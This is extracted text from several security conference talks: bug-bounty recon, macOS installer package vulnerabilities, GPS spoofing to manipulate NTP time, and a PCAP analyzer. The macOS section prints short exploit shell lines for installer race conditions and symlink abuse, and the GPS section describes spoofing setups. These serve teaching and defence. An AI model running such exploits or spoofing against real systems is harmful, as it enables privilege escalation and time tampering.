-u ‘http://wuyun.org/?url=qq.com’
-p url
• SSRF
•
•
• | pdf |
国内SRC漏洞挖掘经验和技巧分享
ID: PwnDog\硬糖_zzz
唐朝 | 成都体育学院体育新闻专业
前PKAV团队成员
研究方向: Web安全以及......
关于我
1.SRC个人推荐
2.SRC的规则
3.漏洞挖掘中的个人经验和技巧分享
目录
同程 网易 360 唯品会 腾讯 阿里巴巴
京东 小米 陌陌 滴滴
百度 蚂蚁金服
SRC个人推荐
备注:排名不分先后,只为排版好看
白帽子
1.合规手段
2.点到为止
3.漏洞保密
SRC的规则
信息收集
1.厂商域名
2.厂商IP段
3.厂商业务信息
域名收集
1. 基于SSL证书查询
2. 第三方网站接口查询
3. Github
4. DNS解析记录
5. 子域名枚举等等
域名收集
基于SSL证书查询
1.censys.io
2.crt.sh
第三方接口查询网站
1. riskiq
2. shodan
3. findsubdomains
4. censys.io
5. dnsdb.io
案例
案例
案例
案例
案例
案例
IP段收集
ipwhois.cnnic.net.cn
IP段收集
IP段收集
ipwhois.cnnic.net.cn
IP段收集
端口扫描
Python+Masscan+Nmap
端口扫描
遇到防火墙时
端口扫描
端口扫描
端口扫描
Nmap参数
-sV
//识别服务
-sT
//只需普通用户权限
-Pn
//跳过主机发现过程
--version-all //全部报文测试
--open //只探测开放端口
字典的收集与使用优化
字典的获取
用之于民,取之于民
字典获取
域名类字典
https://opendata.rapid7.com/sonar.rdns_v2/
https://opendata.rapid7.com/sonar.fdns_v2/
300G 脏数据剔除 体力活
站点类字典
1.目录类 2.可执行脚本类 3.参数类 4.静态资源类(js)
字典获取
站点类字典
1000+ Code AND Regex!
字典获取
字典获取
字典获取
字典获取
案例
Uber 某站二次注入
JS泄露API+API爆破+参数爆破=二次注入
案例
案例
案例
案例
403 or 404?
此地无银三百两!
案例
案例
案例
http://106.**.**.147/adver/landing.php?mac=1
字典的使用优化
量大
关键词入库
增加计数int字段
扫描器命中时增加计数
下次提取字典时降序提取
业务安全
业务是核心,但也有薄弱点
1.非普通用户拥有的权限,如:商家,合作方
2.新上线业务
APP测试
SSL Pining
越狱ios禁止SSL Pinning抓App Store的包
ios: http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html
瘦蛟舞——安卓证书锁定解除的工具
Android: https://github.com/WooyunDota/DroidSSLUnpinning
END
谢谢大家! | pdf |
A look inside macOS Installer packages and
common security flaws
This is Me
●
Experience: 11 years professional, 20+ years hobbyist
○
Self-taught → Stanford → iSEC Partners → NCC Group
●
Security consultant: appsec focus
○
IC → Management → IC
This is Me
●
Experience: 11 years professional, 20+ years hobbyist
○
Self-taught → Stanford → iSEC Partners → NCC Group
●
Security consultant: appsec focus
○
IC → Management → IC
●
“Dana Vollmer’s husband” (5x Olympic Gold Medalist)
This is Me
●
Experience: 11 years professional, 20+ years hobbyist
○
Self-taught → Stanford → iSEC Partners → NCC Group
●
Security consultant: appsec focus
○
IC → Management → IC
●
“Dana Vollmer’s husband” (5x Olympic Gold Medalist)
http://www.zimbio.com/Hottest+Olympic+Husbands+and+Boyfriends/
articles/u_giY9WHdG9/Dana+Vollmer+Husband+Andy+Grant
Overview
●
Motivation
●
The package
●
Unpacking
●
What can (and does) go wrong
Why?
●
I’ve got trust issues
○
What’s really going on?
●
All in a day’s work
○
Sometimes there’s nothing else to look at
A look at the package
The Package - Outside
●
Mac OS X Installer flat package (.pkg extension)
○
Little to no official documentation
■
Better unofficial (but incomplete) documentation
https://matthew-brett.github.io/docosx/flat_packages.html
http://s.sudre.free.fr/Stuff/Ivanhoe/FLAT.html
●
eXtensible ARchive (XAR)
●
Helpful tools
○
macOS pre-installed pkgutil
○
Suspicious Package:
https://www.mothersruin.com/software/SuspiciousPackage/
But what’s inside?
Unpacking
●
The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
Unpacking
●
The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
●
The hacker way
mkdir -p "/path/to/output/directory"
cd "/path/to/output/directory"
xar -xf "/path/to/package.pkg"
The Package - Inside
├── Distribution XML document text, ASCII text
├── Resources directory
└── <package>.pkg directory
├── Bom Mac OS X bill of materials (BOM) file
├── PackageInfo XML document text, ASCII text
├── Payload gzip compressed data, from Unix
└── Scripts gzip compressed data, from Unix
The Package - Distribution, PackageInfo, Bom
●
Distribution (XML + JavaScript)
○
Customizations (title, welcome text, readme, background, restart, etc)
○
Script / installation checks (InstallerJS)
The Package - Distribution, PackageInfo, Bom
●
Distribution (XML + JavaScript)
○
Customizations (title, welcome text, readme, background, restart, etc)
○
Script / installation checks (InstallerJS)
●
PackageInfo (XML)
○
Information on the package
○
Install requirements
○
Installation location
○
Paths to scripts to run
The Package - Distribution, PackageInfo, Bom
●
Distribution (XML + JavaScript)
○
Customizations (title, welcome text, readme, background, restart, etc)
○
Script / installation checks (InstallerJS)
●
PackageInfo (XML)
○
Information on the package
○
Install requirements
○
Installation location
○
Paths to scripts to run
●
Bill of materials (bom)
○
List of files to install, update, or remove
○
UNIX permissions, owner/group, size, etc
The Package - Payload, Scripts
●
Payload (CPIO archive, gzip)
○
The files to be installed
○
Extracted to the install location specified in PackageInfo
●
Scripts (CPIO archive, gzip)
○
Pre- and post-install scripts and additional resources
■
Bash, Python, Perl, <executable + #!>
○
Extracted to random temp directory for execution
Unpacking - Scripts
●
gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
Unpacking - Scripts
●
gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
●
But cpio knows how to handle compressed files natively
cpio -i < Scripts
Unpacking - Scripts
●
gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
●
But cpio knows how to handle compressed files natively
cpio -i < Scripts
If you did the easy way (pkgutil --expand) this was done for you and Scripts
is a directory containing the archive’s contents
Unpacking - Payload
●
Same as Scripts
cpio -i < Payload
●
Sometimes contains more .pkg files; recurse!
Unlike Scripts, pkgutil --expand DOES NOT expand Payload for you
What happens when I double click the .pkg?
Installation - Order of operations (roughly)
1.
Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2.
Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
3.
Extract Payload to install-location from PackageInfo
4.
Postinstall, specified in PackageInfo:
<scripts>
<postinstall file="./postinstall"/>
</scripts>
What can go wrong?
Security - Where are the vulns?
●
Scripts
○
Preinstall
○
Postinstall
○
Helper scripts
●
Payload
○
Additional scripts (application helpers, uninstall scripts, etc)
○
Normal native app issues (brush up on your reversing skills!)
■
Binary
■
Libraries
■
Kernel modules
Security - Types of vulns
●
TOCTOU (minus the TOC)
●
/tmp isn’t safe?!
○
What about for reads? Nope
○
What about for writes? Nope
○
What about for executes? Nope
●
Access for all!
○
chmod 777
Real vulns in real .pkgs (in the past 8 months)
Into the Wild
●
Root privilege escalation
●
Symlink abuse
●
Privilege escalation
●
Arbitrary directory deletion
●
Arbitrary code execution
Into the Wild - Root privilege escalation
●
Vulnerability
○
Postinstall:
sudo /var/tmp/Installerutil --validate_nsbrandingfile
"$NSBRANDING_JSON_FILE" "$NSINSTPARAM_JSON_FILE"
●
Attack - Logged in non-root user attacking IT admin installing software
○
Exploit:
while [ ! -f /var/tmp/Installerutil ]; do :; done; rm
/var/tmp/Installerutil; cp exploit.sh /var/tmp/Installerutil
Into the Wild - Symlink abuse
●
Vulnerability
○
Preinstall:
sudo rm /var/tmp/nsinstallation
○
Postinstall:
sudo chmod 777 /var/tmp/nsinstallation
sudo chown "${CONSOLE_USER}" /var/tmp/nsinstallation
●
Attack - Any user/process attacking system administrator
○
Exploit:
touch /var/tmp/nsinstallation; while [ -f /var/tmp/nsinstallation
]; do :; done; ln -s /Applications /var/tmp/nsinstallation
Into the Wild - Privilege escalation
●
Vulnerability
○
Preinstall:
rm -rf /tmp/7z
unzipresult=$(/usr/bin/unzip -q "$APP_FOLDER/7z.zip" -d "/tmp")
un7zresult=$(/tmp/7z x "${APP_FOLDER}/xy.7z" -o "$APP_FOLDER")
●
Attack - Any user/process attacking installing user
○
Exploit:
cp exploit.sh /tmp/7z
Into the Wild - Arbitrary directory deletion
●
Vulnerability
○
Helper script inside Payload:
# Clean up garbage
rm -rf /tmp/sdu/*
rmdir /tmp/sdu/
●
Attack - Any user/process attacking user running installed application
○
Exploit:
ln -s /Users/victim /var/sdu
Into the Wild - Arbitrary code execution
●
Vulnerability
○
PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○
Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
●
Vulnerability
○
PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○
Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
●
DEMO!
○
Download target package
○
Extract files from .pkg
○
Check Distribution for installation-checks / script
○
Check PackageInfo for install-location and scripts
○
Extract files from Scripts
○
Check scripts for vulns
○
Craft exploit for discovered vuln
○
“Deliver” exploit and wait for installation
○
Install package
○
Profit!
Into the Wild - Demo
https://www.youtube.com/watch?v=OvlSLCVgaMs
Malicious Intent
●
“No payload” packages leave no receipts
○
Nothing was “installed”, so no system record of the installation occurring
○
For minimal clicks, do everything during the installation checks
●
Application Whitelisting (Google’s Santa) bypass:
https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-1
○
On macOS, app whitelisting is at the execve level, and installer is whitelisted
○
Code run via installation checks and pre- and post-install scripts run as installer
Questions?
@andywgrant | pdf |
Using GPS Spoofing to Control Time
Dave/Karit (@nzkarit) – ZX Security
Defcon 2017
www.zxsecurity.co.nz
@nzkarit
Draft for Defcon Media server
A final copy will be posted on https://zxsecurity.co.nz/events.html after the
talk is given
Draft
2
www.zxsecurity.co.nz
@nzkarit
Dave, Karit, @nzkarit
Security Consultant/Pen Tester at ZX
Security in Wellington, NZ
Enjoy radio stuff
Pick Locks and other physical stuff at
Locksport
whoami
3
www.zxsecurity.co.nz
@nzkarit
4
www.zxsecurity.co.nz
@nzkarit
GPS (Global Positioning
System)
GPS Spoofing on the cheap
Let’s change the time!
So what?
Serial Data
Pulse Per Second (PPS)
How we can detect spoofing
Today
5
www.zxsecurity.co.nz
@nzkarit
Tells us where
we are
Tells us the time
GPS
6
www.zxsecurity.co.nz
@nzkarit
Anyone in the room not currently trust GPS
locations?
Anyone in the room not currently trust GPS
time?
Anyone feel that this will change by the end of
the talk?
We Trust GPS Right? Right?????
7
www.zxsecurity.co.nz
@nzkarit
GPS too important to life?
GPS must be great and robust? Right?
Important services rely on it:
Uber
Tinder
You have to trust it right?
8
www.zxsecurity.co.nz
@nzkarit
NTP Time Source
Plane Location
Ship Location
Tracking Armoured Vans
Taxi law in NZ no longer knowledge
requirement
And some other things as well
9
www.zxsecurity.co.nz
@nzkarit
So why don’t I trust it?
10
www.zxsecurity.co.nz
@nzkarit
Have GPS jammers to mess with Uber
Black Cabs in London
11
www.zxsecurity.co.nz
@nzkarit
Jammers Boring………
12
www.zxsecurity.co.nz
@nzkarit
Nation State
13
www.zxsecurity.co.nz
@nzkarit
A University
14
www.zxsecurity.co.nz
@nzkarit
The Chinese are in the NTPs
15
www.zxsecurity.co.nz
@nzkarit
Now we are talking
16
www.zxsecurity.co.nz
@nzkarit
A box
An SDR with TX
I used a BladeRF
HackRF
USRP
So less US$500 in hardware
Also some aluminium foil to make a Faraday Cage
So it is now party trick simple and cheap
This is the big game changer from the past
What we need
17
www.zxsecurity.co.nz
@nzkarit
Setup
18
www.zxsecurity.co.nz
@nzkarit
Make sure you
measure signal
outside to ensure
none is leaking
Be careful
@amm0nra patented Faraday Cage
19
www.zxsecurity.co.nz
@nzkarit
INAL (I’m not a lawyer)
GPS isn’t Open Spectrum
So Faraday Cage
Keep all the juicy GPS goodness to
yourself
The Law
20
www.zxsecurity.co.nz
@nzkarit
Your SDR kit is going to be closer to the device
So much stronger signal
Got to have line of sight though
GPS Orbits ~20,000 km
So signals weak
Signal is weaker than the noise floor
Remember
21
www.zxsecurity.co.nz
@nzkarit
Noise Floor
22
www.zxsecurity.co.nz
@nzkarit
Got some simulator software and a
bladeRF what could people get up to?
Right so what can we do?
23
www.zxsecurity.co.nz
@nzkarit
A trip to Bletchley Park?
24
www.zxsecurity.co.nz
@nzkarit
Two methods, first one two steps
1. Generate the data for broadcast
About 1GB per minute
Static location or a series of locations to make a path
Has an Almanac file which has satellite locations
Uses Almanac to select what satellites are required for
that location at that time
2. Broadcast the data
How does the tool work?
25
www.zxsecurity.co.nz
@nzkarit
Generate in real time
Need a fast enough computer
1. Generate and broadcast
In author’s words this is an experimental
feature
How does the tool work?
26
www.zxsecurity.co.nz
@nzkarit
By default only 5 mins of transmit data
Need to change a value in code for longer
Approx. 1GB a minute hence the limit
Pi3 about three times slower than real time, so must be
precomputed
Pi3 there is a file size limit
<4GB from my experience, so 4-5 minutes of broadcast per
file
Can just chain a series of pre computed files together
Limitations of tool
27
www.zxsecurity.co.nz
@nzkarit
To do the path give the generator a series of
locations at 10Hz
Can’t just give a series of lat/long in a csv
ECEF Vectors or
NMEA Data rows
There are convertors online ☺
Generate a Path
28
www.zxsecurity.co.nz
@nzkarit
A Path
29
www.zxsecurity.co.nz
@nzkarit
with GPS spoofing
So what can we do?
30
www.zxsecurity.co.nz
@nzkarit
Keep an armoured van
on track as you take it
to your secret
underground lair
Have a track following
its normal route while
drive it somewhere
else
$$$
31
www.zxsecurity.co.nz
@nzkarit
Uber trip with no distance?
32
www.zxsecurity.co.nz
@nzkarit
Queenstown Airport Approach
33
www.zxsecurity.co.nz
@nzkarit
For places like Queenstown planes have Required
Navigation Performance Authorisation Required (RNP
AR)
When not visual conditions
As approach is through valleys
Can’t use ground based instrument landing systems
If go off course going to hit the ground
Planes
34
www.zxsecurity.co.nz
@nzkarit
NTPd will take GPS over
serial out of the box
The NTP boxes also use
NTPd behind the UI
NTPd uses it own
license, so easy to spot
in manuals etc
Can we use this to change time?
35
www.zxsecurity.co.nz
@nzkarit
If you move time too much >5min NTPd
shutdown
No log messages as to why
When starting NTP you get “Time has been
changed”
And NTP will accept the GPS even if it differs
greatly from the local clock
NTP
36
www.zxsecurity.co.nz
@nzkarit
With debugging enabled
Feb 24 02:36:21 ntpgps ntpd[2009]: 0.0.0.0
0417 07 panic_stop +2006 s; set clock
manually within 1000 s.
Feb 24 02:36:21 ntpgps ntpd[2009]: 0.0.0.0
041d 0d kern kernel time sync disabled
If we turn the logging up
37
www.zxsecurity.co.nz
@nzkarit
If NTPd crashes but starts via watchdog
or a manual restart
Will people look deeper?
Will people check the time is correct?
Would a Sys Admin notice?
38
www.zxsecurity.co.nz
@nzkarit
We can’t do big jumps in time
We will have to change time in steps
So how can we move time?
39
www.zxsecurity.co.nz
@nzkarit
Python Script
Wraps the real time version of the GPS Simulator
Moves time back in steps
So as not to crash NTPd
Talked in more detail at Kiwicon 2016
Slides:
https://zxsecurity.co.nz/presentations/201611_Kiwicon-
ZXSecurity_GPSSpoofing_LetsDoTheTimewarpAgain.pdf
Code:
https://github.com/zxsecurity/tardgps
Introducing TardGPS
40
www.zxsecurity.co.nz
@nzkarit
Demo
41
www.zxsecurity.co.nz
@nzkarit
TOTP
E.g. Google Auth
A new token every
30 seconds
Timebased One Time Password
42
www.zxsecurity.co.nz
@nzkarit
TOTP
43
568802
568802
www.zxsecurity.co.nz
@nzkarit
Setting up TOTP for SSH
44
Do you want to disallow multiple
uses of the same authentication
token? This restricts you to one
login about every 30s, but it
increases your chances to notice
or even prevent man-in-the-middle
attacks (y/n)
www.zxsecurity.co.nz
@nzkarit
Had a look around
There was a big mix of option for TOTP reuse
Defaults for both (allow and not allow)
Not always text describing what option means
Some didn’t implement the don’t reuse feature
Other TOTP Implementations
45
www.zxsecurity.co.nz
@nzkarit
Make sure there is a setting related to
reuse
Make sure it is set to not allow reuse
What to look for in a TOTP
46
www.zxsecurity.co.nz
@nzkarit
Library
Default No Reuse
No Default
Default Reuse
Google Auth libpam
X
Two Factor Authentication
(Wordpress Plugin)
X
OATHAuth (MediaWiki
Plugin)
X
47
www.zxsecurity.co.nz
@nzkarit
HOTP - HMAC-based one-time
password
Also in Google Auth
U2F
One token can be used on many sites
One user can subscribe more than one
token
Friends don’t let friends SMS
NIST is recommending deprecation
Also other 2FA solutions
48
www.zxsecurity.co.nz
@nzkarit
SUDO counts time in a different way, using
OS Clock Ticks
so you can’t roll back time and bypass sudo
password check timeout
sudoer file timestamp_timeout=X
Uptime works in a similar way
SUDO
49
www.zxsecurity.co.nz
@nzkarit
Uptime during jump
50
www.zxsecurity.co.nz
@nzkarit
Incident Response becomes interesting when your logging starts
showing:
Nov 18 13:45:43 important-server:
Hacker logs out
Nov 18 13:46:54 important-server:
Hacker performs l33t hack
Nov 18 13:47:47 important-server:
Hacker logs in
Through time manipulation or cron running: date set ‘some random
time’
Also if move time forward could make logs roll and purge
If no central logging
Forensics
51
www.zxsecurity.co.nz
@nzkarit
52
www.zxsecurity.co.nz
@nzkarit
What can we do if we have access to the data centre roof?
GPS unit with aerial on roof serial down
GPS unit in server and radio down wire from roof
Attach transmitter to wire with attenuator
Use server 127.0.20.0
ntpd then knows to look at /dev/gps0 and /dev/pps0 for
import
Physical Access
53
www.zxsecurity.co.nz
@nzkarit
NMEA Data – Serial Data (/dev/gps0)
$GPGGA,062237.000,4117.4155,S,17445.3752,E,1,9,0.97,177.1,M,19.0,M,,*4A
$GPRMC,062237.000,A,4117.4155,S,17445.3752,E,0.16,262.97,120217,,,A*7E
Hour, Minute, Second, Day, Month, Year
Pulse Per Second – PPS (/dev/pps0)
Serial
54
www.zxsecurity.co.nz
@nzkarit
Pulse Per Second - PPS
55
0
0.1
0.2
0.3
0.4
0.5
0.6
0.7
0.8
0.9
1
1.1
1.2
1.3
1.4
1.5
1.6
1.7
1.8
1.9
2
2.1
2.2
2.3
2.4
2.5
2.6
2.7
2.8
2.9
3
www.zxsecurity.co.nz
@nzkarit
Doesn’t contain time value
It indicates where a second starts
Less processing on the GPS Receiver so
comes through in a more timely manner
Rising edge can be in micro or nano
second accuracy
PPS
56
www.zxsecurity.co.nz
@nzkarit
I had NTPd running on a raspberry pi
GPS receiver view UART on GPIO pins
One wire was for PPS
NTP Setup
57
www.zxsecurity.co.nz
@nzkarit
Link the PPS pin to another GPIO pin
Set that pin high and low as applicable
How to spoof PPS
58
www.zxsecurity.co.nz
@nzkarit
If run PPS with a different timing the NEMA data
will keep correcting
So will keep pulling it back
So within ±1 second
Maybe an issue in finance, telecoms and energy
Where fractions of a second count
So what happens
59
www.zxsecurity.co.nz
@nzkarit
If pull serial NTPd Tx wire
Stops the source in NTPd, even if getting
PPS signal
So can’t manipulate time just through PPS
manipulation
Can we just remove the NMEA data?
60
www.zxsecurity.co.nz
@nzkarit
So wrote a tool for that
Introducing NMEAdesync
Is on Github now:
https://github.com/zxsecurity/NMEAdesync
So got to replicate the NMEA data as well
61
www.zxsecurity.co.nz
@nzkarit
Similar in concept to tardgps
Though changing the data in the NMEA data rather than GPS Signal
Adjust the time
Adjust how fast a second is
Also does the PPS generation
Offers more control than tardgps
No GPS signal tom foolery
NMEAdesync
62
www.zxsecurity.co.nz
@nzkarit
Python Script
stdout $GPRMC and $GPGGA
PPS high/low on pin
Loop
socat stdout to /dev/pts/X
Symlink /dev/pts/X to /dev/gps0
ntpd takes it from there
NMEAdesync under the hood
63
www.zxsecurity.co.nz
@nzkarit
I could get similar behaviour as tardgps
But simpler to execute as don’t have the
radio aspect
Though will require physical access to the
roof of the building
NMEAdesync running
64
www.zxsecurity.co.nz
@nzkarit
GPS Signal Spoofing
How can we detect this?
65
www.zxsecurity.co.nz
@nzkarit
Talked in more detail at Unrestcon 2016
Slides on ZX Security’s Site:
https://zxsecurity.co.nz/events.html
Code on ZX Security’s Github:
https://github.com/zxsecurity/gpsnitch
GPSnitch
66
www.zxsecurity.co.nz
@nzkarit
Time offset
SNR Values
SNR Range
Location Stationary
What does GPSnitch Do?
67
www.zxsecurity.co.nz
@nzkarit
Demo
68
www.zxsecurity.co.nz
@nzkarit
NTP Servers
Also GPS units wanting to know location
Useful for
69
www.zxsecurity.co.nz
@nzkarit
3+ Upstream
Allows for bad ticker detection and removal
Multiple Types of upstream
I.e. don’t pick 3 GPS based ones
GPS, Atomic
Don’t pick just one upstream provider
Rouge admin problem
Maybe one overseas so gives you a coarse sanity check of
time
NTP Setups to avoid GPS Spoofing
70
www.zxsecurity.co.nz
@nzkarit
But GPS is travelling across the air…
Consider atomic, caesium, rubidium
“Air gapped” networks
71
www.zxsecurity.co.nz
@nzkarit
Incorporate GPSnitch
Additional logging for when daemon shuts
down due to a time jump
On daemon restart after a large time
jump occurs, prompt user to accept time
jump
Changes for NTPd or NTP Server
72
www.zxsecurity.co.nz
@nzkarit
Device
73
www.zxsecurity.co.nz
@nzkarit
Their clients
74
www.zxsecurity.co.nz
@nzkarit
If jumped time a large amount back or forward
It just worked
Didn’t need TardGPS
So what did it do?
75
www.zxsecurity.co.nz
@nzkarit
Version date on software
76
www.zxsecurity.co.nz
@nzkarit
77
www.zxsecurity.co.nz
@nzkarit
78
www.zxsecurity.co.nz
@nzkarit
79
www.zxsecurity.co.nz
@nzkarit
80
www.zxsecurity.co.nz
@nzkarit
81
www.zxsecurity.co.nz
@nzkarit
82
www.zxsecurity.co.nz
@nzkarit
https://github.com/zxsecurity/NMEAsnitch
Records the NMEA sentences
Looks at the ratios and sentences per
second
NMEA Snitch
83
www.zxsecurity.co.nz
@nzkarit
bladeRF – Awesome customer service and great kit
Takuji Ebinuma – for GitHub code
@amm0nra – General SDR stuff and Ideas
@bogan & ZX Security – encouragement, kit, time
Fincham – GPS NTP Kit
Unicorn Team – Ideas from their work
Everyone else who has suggested ideas / given input
BSidesCBR – For having me
You – For hanging around and having a listen
GPSd – Daemon to do the GPS stuff
GPS3 – Python Library for GPSd
Thanks
84
Thanks
www.zxsecurity.co.nz
@nzkarit
Slides: https://zxsecurity.co.nz/presentations/201607_Unrestcon-
ZXSecurity_GPSSpoofing.pdf
Code: https://github.com/zxsecurity/gpsnitch
GPSnitch
86
www.zxsecurity.co.nz
@nzkarit
Slides: https://zxsecurity.co.nz/presentations/201607_Unrestcon-
ZXSecurity_GPSSpoofing.pdf
Code: https://github.com/zxsecurity/gpsnitch
GPSnitch
87
www.zxsecurity.co.nz
@nzkarit
Code: https://github.com/zxsecurity/tardgps
tardgps
88
www.zxsecurity.co.nz
@nzkarit
Code
https://github.com/osqzss/gps-sdr-sim/
https://github.com/osqzss/bladeGPS
https://github.com/keith-citrenbaum/bladeGPS - Fork of bladeGPS for Linux
Blog
http://en.wooyun.io/2016/02/04/41.html
Lat Long Alt to ECEF
http://www.sysense.com/products/ecef_lla_converter/index.html
How To
www.zxsecurity.co.nz
@nzkarit
GPS3 Python Library
https://github.com/wadda/gps3
GPSd Daemon
http://www.catb.org/gpsd/
Libraries Used
90
www.zxsecurity.co.nz
@nzkarit
http://www.csmonitor.com/World/Middle-East/2011/1215/Exclusive-Iran-
hijacked-US-drone-says-Iranian-engineer-Video
http://www.cnet.com/news/truck-driver-has-gps-jammer-accidentally-jams-
newark-airport/
http://arstechnica.com/security/2013/07/professor-spoofs-80m-superyachts-
gps-receiver-on-the-high-seas/
http://www.gereports.com/post/75375269775/no-room-for-error-pilot-and-
innovator-steve/
http://www.ainonline.com/aviation-news/air-transport/2013-06-16/ge-extends-
rnp-capability-and-adds-fms-family
References
91
www.zxsecurity.co.nz
@nzkarit
http://www.theairlinepilots.com/forumarchive/aviation-regulations/rnp-ar.pdf
http://www.stuff.co.nz/auckland/68493319/Blessie-Gotingco-trial-GPS-expert-
explains-errors-in-data
https://conference.hitb.org/hitbsecconf2016ams/materials/D2T1%20-
%20Yuwei%20Zheng%20and%20Haoqi%20Shan%20-
%20Forging%20a%20Wireless%20Time%20Signal%20to%20Attack%20NTP%2
0Servers.pdf
http://www.securityweek.com/ntp-servers-exposed-long-distance-wireless-
attacks
http://www.gps.gov/multimedia/images/constellation.jpg
References
92
www.zxsecurity.co.nz
@nzkarit
https://documentation.meraki.com/@api/deki/files/1560/=7ea9feb2-d261-4a71-b24f-
f01c9fc31d0b?revision=1
http://www.microwavejournal.com/legacy_assets/images/11106_Fig1x250.gif
https://pbs.twimg.com/profile_images/2822987562/849b8c47d20628d70b85d25f53993a76_4
00x400.png
https://upload.wikimedia.org/wikipedia/commons/4/49/GPS_Block_IIIA.jpg
http://www.synchbueno.com/components/com_jshopping/files/img_products/full_1-
131121210043Y1.jpg
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
https://www.yubico.com/wp-content/uploads/2015/04/YubiKey-4-1000-2016-444x444.png
http://www.gpsntp.com/about/
https://upload.wikimedia.org/wikipedia/commons/4/4a/GPS_roof_antenna_dsc06160.jpg
References
93
www.zxsecurity.co.nz
@nzkarit
https://cdn.shopify.com/s/files/1/0071/5032/products/upside_down_2.png?v=13
57282201
References
94 | pdf |
Asura: A huge PCAP file analyzer
for anomaly packets detection
using massive multithreading
Ruo Ando
Center for Cybersecurity Research and Development
National Institute of Informatics
DEF CON 26, Aug 12 2018
Outline
❑”Too many packets, too few resources”
- 100,000,000 vs 1000,000,000,000
❑ASURA: “Huge PCAP file vs Massive threads”
Overview
Task based decomposition
Selection of features and containers
Reduction by massive threads
❑Demo and Experimental results
❑Conclusions
Story behind Asura
Traffic explosion.
Internet Traffic continues to
increase at exponential rate,
no end in sight.
Too many packets, too few
professionals.
Cyber attack has become more
sophisticated.
Reference: The Scream @ public domain
❑ “The universe is not complicated, there's just a lot of it.”
- Richard Feynman
❑ Unreasonable Effectiveness of Data
If a machine learning program cannot work with a training of
a million examples, then the intuitive conclusion follows
that it cannot work at all.
However, it has become clear that machine learning using a
huge dataset with a trillion items can be highly effective in
tasks for which machine learning using a sanitized (clean)
dataset with a only million items is NOT useful.
Chen Sun, Abhinav Shrivastava, Saurabh Singh, Abhinav Gupta,“Revisiting
Unreasonable Effectiveness of Data in Deep Learning Era”, ICCV 2017
https://arxiv.org/abs/1707.02968
100,000,000 vs 1000,000,000,000
Overview of Asura
❑ Portable and reasonable
GPU, Spark are still high-cost.
❑ Posix Pthreads (explicit parallel programming model)
Pthreads represent the assembly languages of parallelism.
Maximum flexibility.
❑ Parser – full scratch, without libpcap
Flexible. More scalable compared with tshark (in some cases).
❑ Compact but powerful
Asura has thousands lines of code.
Asura can process 76,835,550 packets in 200-400 minutes.
Asura: Huge PCAP file vs Massive threads
Worker thread 1…N
Master thread
container
PCAP files
Worker thread 1…N
Master thread
Reduction (task decomposition)
Clustering (data decomposition)
Asura can reduce packet dump data into
the size of unique <sourceIP, destIP> pairs.
Container size is drastically small
compared with the size of original PCAP
files (about 2-5%).
Task decomposition vs Data decomposition
If we want to transform code into a concurrent version, there are two
ways.
❑One way is data decomposition, in which the program cope with a
large collection of data and can process every chunk of the data
independently.
❑Another way is task decomposition, in which the process is divided
into a set of independent task so that threads can run in any order.
❑As with PCAP file parsing, load balance is an important factor to take
into consideration, especially when PCAP files are variable sizes. Real-
world PCAP file is NOT organized in a regular pattern and unpredictable.
Master Thread
Worker Thread
ParseIP
ParseTCP
A
enqueue
write pointer
PCAP A
PCAP B
PCAP C
B
C
pthread_cond_wait / pthread_cond_signal
Task based decomposition (dynamic scheduler)
dequeue
read pointer
Various size / unpredictable
Simple dynamic scheduling method requires
setting up a shared container which is typically
a queue). Queue can hold tasks and let threads
to fetch a new task once the previous task is
finished.
Feature selection
1: /* STRUCTURE II: reduced */
2: typedef struct _reduced {
3: map<int, int> count;
4: map<int, int> tlen;
5: map<int, int> ttl;
6: map<int, int> sport;
7: map<int, int> dport;
8: pthread_mutex_t mutex;
9: } reduced_t;
10: reduced_t reduced;
1: /* STRUCTURE I: srcIP, destIP */
2: typedef struct _addrpair {
3: map<string, string> m;
4: pthread_mutex_t mutex;
5: } addrpair_t;
6: addrpair_t addrpair;
{<sourceIP, destIP>, V[i]}
IP HEADER
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+--+-+-+-+- -+-+-+
| Version| IHL | Type of Service | Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+-
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+-
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+
| Source IP Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+
| Destiation IP address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+-
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+-
TCP HEADER
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+- -+-+-
Key
Value
Asura can reduce packet dump data into the
size of unique <sourceIP, destIP> pairs.
Worker Thread
ParseIP
ParseTCP
pthread_mutex_t pthread
typedef struct _reduced
